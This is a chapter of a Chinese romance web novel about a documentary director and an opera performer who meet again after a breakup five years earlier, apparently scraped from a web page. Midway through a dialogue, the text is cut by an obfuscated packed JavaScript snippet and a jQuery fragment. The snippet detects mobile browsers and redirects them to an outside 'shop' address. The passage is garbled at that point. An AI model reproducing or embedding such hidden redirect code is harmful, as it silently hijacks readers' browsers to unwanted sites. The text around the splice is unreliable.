陈声和的手指微微收紧。


    “我……”他的声音哑得几乎失真，“我没让你这么擦。”


    李霄川短促地笑了一声，眼睛里却没有丝毫笑意。


    “那你想让我怎么擦？”他逼近一步，呼吸几乎拂在陈声和脸上，“像以前那样？你坐在我腿上，我一点点帮你擦掉脸上的颜料？”


    记忆猛地翻涌上来。


    大学时的某个深夜，陈声和在社团活动室熬夜剪片子，不小心把红色颜料蹭到了脸上。


    李霄川推门进来，看到他一脸狼狈，笑得直不起腰，最后干脆把他拉到腿上，用湿巾一点一点帮他擦干净。


    那时候，李霄川的手指是暖的，动作轻柔得像在对待什么易碎品。


    而现在。


    李霄川的手腕在陈声和的掌心里挣了一下，没挣开。


    “松手。”他冷声道。


    陈声和就是不松。


    他的目光落在李霄川脸上。卸妆水刺激得眼周发红，皮肤因为粗暴的擦拭已经一片红痕，有几处甚至蹭破了皮。


    李霄川闭着眼睛，睫毛上还沾着没擦干净的卸妆油，看起来既疲惫又狼狈。


    以前每次演出结束，陈声和都会提前准备好冰镇的面膜和修复精华。


    李霄川总嫌麻烦，他就按着人在化妆台前坐好，一边敷面膜一边念叨：“妆卸不干净会长痘，皮肤发炎了还怎么上妆？”


    那时候李霄川会仰着脸冲他笑，说陈老师教训得是。


    “你弄伤自己了。”陈声和低声说。


    李霄川觉得这话挺可笑。


    “关你什么事？”他偏头避开陈声和的目光，“陈大导演不是只关心镜头够不够完美吗？”


    陈声和心脏痛得有些直不起腰来，化妆室的暖气开得很足，他却觉得后背发冷。


    他松开李霄川的手腕，转身从化妆台上抽了张干净的棉片。温水从饮水机接出来，温度刚好。他抬手，棉片轻轻按在李霄川通红的眼角。


    “别动。”陈声和低声说，“……会疼。”


    李霄川的喉结滚动了一下，没再躲了。


    空气里飘着卸妆水的柑橘味，掺着后台的脂粉气。陈声和的动作很轻，棉片沿着眉骨慢慢往下，擦掉残余的油彩。


    他的手指偶尔碰到李霄川的皮肤，触感温热，让他想起最后一次见面时，雨水的冰凉。


    那天李霄川站在公寓楼下，头发还在滴水，手里攥着两张被雨水浸湿的机票。他问：“你是不是早就想走了？”


    而自己拖着行李箱，连回头看一眼的勇气都没有。


    棉片停在李霄川唇角，那里有道细小的裂口，可能是刚才卸妆时太用力蹭破的。


    “这道伤……”陈声和顿了顿，“疼吗？”


    李霄川没说话，半晌，他忽然抬手，握住陈声和的手腕，将他的掌心紧紧贴在自己脸上蹭了蹭。


    “疼。”他哑声说，“……疼了五年。”


    陈声和的心脏猛地收缩了一下。化妆室的灯光昏黄，在两人之间投下模糊的光影。


    远处传来清洁工推着水桶走过的声音，拖把蹭过地砖，发出规律的沙沙声。不知哪间排练室有人在练琴，断断续续的音符飘进来，又消散在空气里。


    但此刻陈声和只听得见自己的心跳，和李霄川近在咫尺的呼吸声。


    ……


    夜风卷着成都特殊的麻辣香气扑在脸上。


    陈声和站在剧院的后门，弯着腰干呕，胃里翻江倒海，本就什么东西都没吃，现在除了酸水什么都吐不出来。


    手机在兜里震了一下。


    他掏出来看，是林瑶发来的工作消息：【导演，技术部说最迟明早九点必须交成片】


    他熄了屏，手指抓紧了摄像机背带。


    刚才在化妆室，李霄川那句“你要还是不要”像无数根软刺，狠狠扎进他喉咙里，让他连呼吸都发疼。


    他再一次逃离了，没有回答那个问题，就像五年前那样，窝囊地逃避了现实。


    “……杵在这儿当门神啊？”一道粗粝的女声从背后砸过来。


    陈声和猛地转身，差点撞上人。李红梅正抱着一摞戏服，眉毛高高挑起，眼神刀子似的剜在他脸上。


    “姑……姑姑。”陈声和后退半步，舌头像是打了结。


    “嗯，”李红梅肩膀一顶，推开后门往外走，“过来搭把手噻。”


    陈声和愣了愣，才反应过来是在叫他。他快步跟上，伸手想接她怀里的戏服，却被她一扭身避开。


    “可不敢麻烦陈大导演，”李红梅头也不回地往前走，“跑得比兔子还快，现在装什么殷勤？”


    “……”陈声和的手指僵在半空，慢慢蜷缩起来。


    川剧院后巷拐角那个砂锅粥摊，还是老样子，塑料棚底下就摆了两张矮桌，简易得很。


    老板老刘是个本地人，以前这摊子只卖小面的，后来因为陈声和他们团队过来拍戏，总在这儿吃早饭，他才特意加了川味砂锅粥。


    不过每次非得嘴硬说，他这可是“正宗潮汕风味。


    李红梅把戏服往塑料凳上一撂，冲着灶台喊：“老刘，一碗瑶柱粥，一碗皮蛋瘦肉，多放姜！”


    陈声和站在桌边，没敢坐。脚边那只塑料凳歪歪扭扭的，看着就不太稳当。


    “你杵那儿干啥？真当自己是门神啊？”李红梅一瞪眼，“坐下说行不行？我仰着头跟你说话脖子酸！”


    陈声和：“……”


    他没吭声，默默把凳子拉开。劣质塑料“刺啦”一声刮过地面，听得人牙酸。


    李红梅从兜里摸出包红塔山，叼了一根在嘴边，没点火，就是咬着滤嘴来回磨牙。


    “阿川呢？”她突然问。


    “……还在卸妆。”


    “我刚从化妆间过来，”李红梅把打火机拍在桌上，“人影都没得！”


    陈声和抿着嘴没接话。他是真不知道李霄川跑哪儿去了。刚才他帮着卸完妆，李霄川当着他面一把扯下戏服，抓起外套就走人，连个正眼都没给他。


    而他也确实又一次逃了。


    砂锅粥端上来的时候还咕嘟咕嘟冒着泡，热气在两人中间隔出一层白雾。


    李红梅把瑶柱粥往他面前一推：“吃！”


    那语气，不像是请人喝粥，倒像是……最后一顿饭断头饭似的。


    陈声和低头看着那碗粥。米已经熬得化了，瑶柱金黄黄的，姜丝切细得像头发丝儿。


    是养胃的做法。


    他胃不好，大学那会儿，李霄川总说这样的粥吃了才舒坦。


    他拿勺子搅了两下，突然发现粥底沉着几颗枸杞。以前他总嫌弃李霄川点的粥味道不对，后来不知从什么时候起，粥底就悄悄换成了枸杞姜汤。


    “姑姑……他腰伤，怎么样了？”陈声和突然开口。


    李红梅筷子一顿，碗里的热气还在往上飘。


    “现在知道问了？”她哼了一声，把手机解锁，拇指在相册里划了几下，然后直接把屏幕怼到他眼前，“你自己看。”


    照片是X光片，上面腰椎第三节有一道清晰的裂痕，像一道闪电劈在骨头上。


    “你们来之前，彩排摔的。”李红梅的声音低了几度，“医生让他躺一个月，他倒好，第二天就绑着护腰去拍你那破纪录片！”


    陈声和盯着X光片上的日期，是拍摄第一天。


    那天李霄川吊着威亚在空中连翻好几个后空翻，落地时踉跄了一下，他却在监视器后说：“再来一次，角度不够好。”


    勺子“当啷”一声掉进粥里，溅起几滴汤汁。


    “你以为他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005913|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为什么硬撑？”李红梅凑近一点，“五年前你走的那晚，他在我火锅店哭到打烊，神戳戳地给老子砸了两个凳子。”


    陈声和：“？？？”


    李红梅把手机拿过来又鼓捣了一会递给他，是一张李霄川大四时的照片，那天他们在火锅店吃饭，有个凳子腿松了，陈声和正低头给一把椅子拧螺丝，那人在旁边扶着。


    这照片什么时候照的他都不知道。


    “就留了这一把。”李红梅咬着烟嘴冷笑，“说万一你回来坐。”


    陈声和的手指触到照片边缘，好像那是烧旺的炭火，立马把手缩了回来。


    夜风吹得大排档的塑料棚哗啦作响，远处传来几声犬吠。


    李红梅站起来背对着陈声和抹了把眼角，随后往桌上扔了二十块钱。


    “粥趁热吃。”她转身往巷子深处走，背影融进夜色里，“……他胃比你更差。”


    陈声和盯着那碗渐渐凉掉的粥，表面已经结了一层薄薄的膜。他想起刚才在化妆间，李霄川卸妆时通红的眼眶，当时对方说是油彩灼的。


    还有那句沙哑的“疼了五年”。


    ……


    快凌晨三点了，剪辑室的灯还亮着。


    陈声和的目光停在李霄川卸完妆的最后一帧。睫毛湿漉漉的，素颜在光下白得有点过分，嘴角绷得很紧，像有话要说，又硬生生咽了回去。


    这是今晚刚拍的卸妆镜头。陈声和盯着画面，手指悬在键盘上，半天没按保存。


    林瑶推门进来的时候，屋里只有屏幕的光一跳一跳的，映得他侧脸发白。


    他整个人陷在椅子里，肩膀微微弓着，仿佛是一根绷到极限的弦，再碰一下就会断。


    “导演……”她声音放得很轻，“技术部那边……催第三遍了，问最后的镜头……”


    陈声和没动，也没应声。


    林瑶走近几步，这才发现他的眼睛是闭着的，人已经睡着了。


    他的额头抵在桌上，呼吸很轻。


    屏幕的光打在他脸上，衬得轮廓比平时更瘦。这段时间没日没夜地剪片，到底还是撑不住了。


    林瑶犹豫了一下，伸手想去拿他手边的咖啡杯，碰到杯沿却顿住了。


    咖啡早就凉透了，杯底沉着没化开的糖。


    陈声和喝咖啡从来不放糖的。


    她愣了一下，视线往下移，才注意到他垂在键盘的手指间，还捏着一张纸。


    一张被揉得皱巴巴的场记单。


    林瑶屏住呼吸，轻轻往外抽了一点，借着光看清了上面的字。


    是李霄川的笔迹。


    【如果这次你还是不敢选我，我就真的不等了】


    字写得特别潦草，像是匆忙写下的，笔锋重得快要划破纸。


    林瑶大脑空白了一瞬间。


    她抬头看向屏幕，画面仍然停在李霄川的脸，他的眼睛直视镜头，像是透过屏幕在看着此刻睡着的陈声和。


    那目光犹如泰山重，压得她有些喘不过气。


    林瑶咬了咬嘴唇，悄悄摸出手机，最后还是点开了通讯录最上面那个名字。


    李老师。


    她手指顿了顿，还是快速打下一行字：


    【李老师，导演哭了】


    发送键按下去的瞬间，她像完成了一件大事，长长舒出一口气。


    场记单被她轻轻塞回陈声和手里。电脑屏幕还亮着，剪辑工程没保存。她点了几下鼠标，帮他把文件存好，最后关掉了那个连续运转36小时的剪辑软件。


    屏幕暗下去的那一刻，陈声和的眉头轻轻皱了一下，像是梦里有什么不痛快的事。


    林瑶屏住呼吸，踮着脚退到门口，关门时刻意放慢动作，没让锁舌发出一点声音。


    而那张被攥紧的纸条，终究还是留在了他手里。